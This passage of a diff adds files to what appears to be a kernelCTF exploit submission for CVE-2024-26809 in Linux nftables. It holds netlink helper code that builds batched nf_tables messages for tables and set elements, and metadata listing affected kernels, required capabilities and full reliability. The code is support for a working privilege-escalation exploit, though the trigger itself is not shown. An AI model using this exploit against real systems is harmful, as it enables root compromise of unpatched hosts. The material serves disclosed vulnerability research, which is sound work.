+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    uint64_t key = input_key;
+    if(obj_ref)
+    	nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(if_catchall){
+    	nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL));
+    }
+    else{
+    	nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    	if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    	}
+    	nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    }	
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    struct nl_msg *elem_expr = nlmsg_alloc();
+    struct nl_msg *elem_expr_data = nlmsg_alloc();
+    struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc();
+    uint64_t key = input_key;
+    nla_put_string(elem_expr, NFTA_EXPR_NAME, "last");
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr);
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    }
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(obj_ref != NULL)
+    	nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+
+void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){
+    //init msg
+    struct nl_msg * msg = nlmsg_alloc();
+    nfnlmsg_put(
+            msg,
+            NL_AUTO_PID, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_SUBSYS_NFTABLES,  //SUBSYS
+            NFT_MSG_GETSETELEM,   // TYPE
+            NLM_F_REQUEST,
+            2, //FAMILY
+            0           //RES_ID
+    );
+    //init msg
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    nla_put_nested(elem, 1, elem_nest);
+    nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+
+    int res = nl_send_auto(socket, msg);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_key_end = nlmsg_alloc();
+    nla_put(elem_key, NFTA_DATA_VALUE, key_size, key);
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(key_end){
+    	nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end);
+    	nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end);
+    }
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    } else {
+        printf("Delete setelem\n");
+    }
+}
+
+struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    uint64_t key = input_key;
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    }
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(obj_ref != NULL)
+        nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    return hdr2;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h
new file mode 100644
index 00000000..a2a05945
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h
@@ -0,0 +1,186 @@
+void new_table(struct nl_sock * socket, char *name){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    nla_put_string(msg2, NFTA_TABLE_NAME, name);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void get_table(struct nl_sock * socket, char *name){
+    //init msg
+    struct nl_msg * msg = nlmsg_alloc();
+    nfnlmsg_put(
+            msg,
+            NL_AUTO_PID, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_SUBSYS_NFTABLES,  //SUBSYS
+            NFT_MSG_GETTABLE,   // TYPE
+            NLM_F_REQUEST, 
+            2, //FAMILY
+            0           //RES_ID
+    );
+    //init msg
+    nla_put_string(msg, NFTA_TABLE_NAME, name);
+
+    int res = nl_send_auto(socket, msg);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    nla_put_string(msg2, NFTA_TABLE_NAME, name);
+    nla_put(msg2,NFTA_TABLE_USERDATA,len,udata);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void del_table(struct nl_sock * socket, char *table_name){
+
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+
+    nla_put_string(msg2, NFTA_TABLE_NAME, table_name);
+
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json
new file mode 100644
index 00000000..020ad0e1
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json
@@ -0,0 +1,44 @@
+{
+    "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json",
+    "submission_ids":[
+       "exp151"
+    ],
+    "vulnerability":{
+       "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",
+       "cve":"CVE-2024-26809",
+       "affected_versions":[
+          "6.1.1 - 6.1.82",
+	       "5.15.54 - 5.15.152"
+       ],
+       "requirements":{
+          "attack_surface":[
+             
+          ],
+          "capabilities":[
+             "CAP_NET_ADMIN"
+          ],
+          "kernel_config":[
+             "CONFIG_NETFILTER",
+             "CONFIG_NF_TABLES"
+          ]
+       }
+    },
+    "exploits":[
+       {
+          "environment":"lts-6.1.79",
+          "uses":[
+             "userns"
+          ],
+          "requires_seperate_kaslr_leak":false,
+          "stability_notes":"10 times success per 10 times run"
+       },
+       {
+         "environment":"cos-105-17412.294.34",
+         "uses":[
+            "userns"
+         ],
+         "requires_seperate_kaslr_leak":false,
+         "stability_notes":"10 times success per 10 times run"
+      }
+    ]
+ }
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz
new file mode 100644
index 00000000..d9e282fc
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz differ